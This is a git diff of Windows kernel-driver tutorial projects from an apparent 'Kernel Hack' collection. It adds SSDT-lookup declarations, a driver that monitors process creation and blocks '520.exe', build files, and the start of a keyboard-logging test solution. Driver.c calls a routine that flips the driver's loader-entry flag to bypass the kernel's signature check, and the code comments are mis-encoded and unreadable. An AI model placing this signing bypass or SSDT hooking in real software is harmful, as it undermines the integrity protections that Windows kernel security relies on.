+ PUCHAR ParamTableBase; // ϵͳַ + }SSDTEntry, *PSSDTEntry; +#pragma pack() + // ֱӻȡ SSDT + extern SSDTEntry __declspec(dllimport) KeServiceDescriptorTable; + +#else + // 64 Bits + #pragma pack(1) + typedef struct _SERVICE_DESCIPTOR_TABLE + { + PULONG ServiceTableBase; // SSDTַ + PVOID ServiceCounterTableBase; // SSDTз񱻵ô + ULONGLONG NumberOfService; // SSDT + PVOID ParamTableBase; // ϵͳַ + }SSDTEntry, *PSSDTEntry; + #pragma pack() + +#endif + + +// ȡ SSDT ַ +PVOID GetSSDTFunction(PCHAR pszFunctionName); + +// 32λ, ֱӻȡַ; 64λ, , KiSystemCall64 лȡ SSDT ַ +PVOID GetSSDTAddress(); + +// ntdll.dll лȡ SSDT +ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName); +// ڴӳļ +NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress); +// ݵȡַ, Ӷȡ SSDT +ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test.sln" new file mode 100644 index 0000000..25c203f --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PsSetCreateProcessNotifyRoutineEx_Test", "PsSetCreateProcessNotifyRoutineEx_Test\PsSetCreateProcessNotifyRoutineEx_Test.vcxproj", "{A73341FC-84FC-4B7C-B6F4-8898F26018CD}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {A73341FC-84FC-4B7C-B6F4-8898F26018CD}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test.v12.suo" new file mode 100644 index 0000000..f15d684 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/Driver.c" new file mode 100644 index 0000000..9c7d3e8 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/Driver.c" @@ -0,0 +1,43 @@ +#include "Driver.h" +#include "NotifyRoutine.h" + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + + NTSTATUS status = STATUS_SUCCESS; + pDriverObject->DriverUnload = DriverUnload; + for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + { + pDriverObject->MajorFunction[i] = DriverDefaultHandle; + } + + // ̷ʽƹǩ + BypassCheckSign(pDriverObject); + + // ûص + SetProcessNotifyRoutine(); + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ + // ɾص + RemoveProcessNotifyRoutine(); +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/Driver.h" new file mode 100644 index 0000000..0822089 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/Driver.h" @@ -0,0 +1,12 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/NotifyRoutine.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/NotifyRoutine.c" new file mode 100644 index 0000000..1f3db58 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/NotifyRoutine.c" @@ -0,0 +1,103 @@ +#include "NotifyRoutine.h" + + +VOID ShowError(PCHAR pszText, NTSTATUS ntStatus) +{ + DbgPrint("%s Error[0x%X]\n", pszText, ntStatus); +} + + +// ̷ʽƹǩ +BOOLEAN BypassCheckSign(PDRIVER_OBJECT pDriverObject) +{ +#ifdef _WIN64 + typedef struct _KLDR_DATA_TABLE_ENTRY + { + LIST_ENTRY listEntry; + ULONG64 __Undefined1; + ULONG64 __Undefined2; + ULONG64 __Undefined3; + ULONG64 NonPagedDebugInfo; + ULONG64 DllBase; + ULONG64 EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING path; + UNICODE_STRING name; + ULONG Flags; + USHORT LoadCount; + USHORT __Undefined5; + ULONG64 __Undefined6; + ULONG CheckSum; + ULONG __padding1; + ULONG TimeDateStamp; + ULONG __padding2; + } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY; +#else + typedef struct _KLDR_DATA_TABLE_ENTRY + { + LIST_ENTRY listEntry; + ULONG unknown1; + ULONG unknown2; + ULONG unknown3; + ULONG unknown4; + ULONG unknown5; + ULONG unknown6; + ULONG unknown7; + UNICODE_STRING path; + UNICODE_STRING name; + ULONG Flags; + } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY; +#endif + + PKLDR_DATA_TABLE_ENTRY pLdrData = (PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection; + pLdrData->Flags = pLdrData->Flags | 0x20; + + return TRUE; +} + + +// ûص +NTSTATUS SetProcessNotifyRoutine() +{ + NTSTATUS status = PsSetCreateProcessNotifyRoutineEx((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)ProcessNotifyExRoutine, FALSE); + if (!NT_SUCCESS(status)) + { + ShowError("PsSetCreateProcessNotifyRoutineEx", status); + } + return status; +} + + +// ɾص +NTSTATUS RemoveProcessNotifyRoutine() +{ + NTSTATUS status = PsSetCreateProcessNotifyRoutineEx((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)ProcessNotifyExRoutine, TRUE); + if (!NT_SUCCESS(status)) + { + ShowError("PsSetCreateProcessNotifyRoutineEx", status); + } + return status; +} + + +// ص +VOID ProcessNotifyExRoutine(PEPROCESS pEProcess, HANDLE hProcessId, PPS_CREATE_NOTIFY_INFO CreateInfo) +{ + // CreateInfo Ϊ NULL ʱʾ˳Ϊ NULL ʱʾ̴ + if (NULL == CreateInfo) + { + return; + } + // ȡ + PCHAR pszImageFileName = PsGetProcessImageFileName(pEProcess); + // ʾϢ + DbgPrint("[%s][%d][%wZ]\n", pszImageFileName, hProcessId, CreateInfo->ImageFileName); + // ָֹ(520.exe) + if (0 == _stricmp(pszImageFileName, "520.exe")) + { + // ֹ + CreateInfo->CreationStatus = STATUS_UNSUCCESSFUL; + + DbgPrint("[ֹ]\n"); + } +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/NotifyRoutine.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/NotifyRoutine.h" new file mode 100644 index 0000000..0ad90c2 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/NotifyRoutine.h" @@ -0,0 +1,25 @@ +#ifndef _NOTIFY_ROUTINE_H_ +#define _NOTIFY_ROUTINE_H_ + + +#include + + +// δ +PCHAR PsGetProcessImageFileName(PEPROCESS pEProcess); + + +// ̷ʽƹǩ +BOOLEAN BypassCheckSign(PDRIVER_OBJECT pDriverObject); + +// ûص +NTSTATUS SetProcessNotifyRoutine(); + +// ɾص +NTSTATUS RemoveProcessNotifyRoutine(); + +// ص +VOID ProcessNotifyExRoutine(PEPROCESS pEProcess, HANDLE hProcessId, PPS_CREATE_NOTIFY_INFO CreateInfo); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test.inf" new file mode 100644 index 0000000..2b57d55 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test.inf" @@ -0,0 +1,32 @@ +; +; PsSetCreateProcessNotifyRoutineEx_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="PsSetCreateProcessNotifyRoutineEx_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test.vcxproj" new file mode 100644 index 0000000..8816711 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test.vcxproj" @@ -0,0 +1,261 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {A73341FC-84FC-4B7C-B6F4-8898F26018CD} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + PsSetCreateProcessNotifyRoutineEx_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test.vcxproj.filters" new file mode 100644 index 0000000..1d8dd18 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test.vcxproj.filters" @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test.vcxproj.user" new file mode 100644 index 0000000..2243d39 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test/PsSetCreateProcessNotifyRoutineEx_Test.vcxproj.user" @@ -0,0 +1,15 @@ + + + + Off + + + Off + + + Off + + + Off + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test.sln" new file mode 100644 index 0000000..8463298 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "KeyboardLog_Test", "KeyboardLog_Test\KeyboardLog_Test.vcxproj", "{0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + 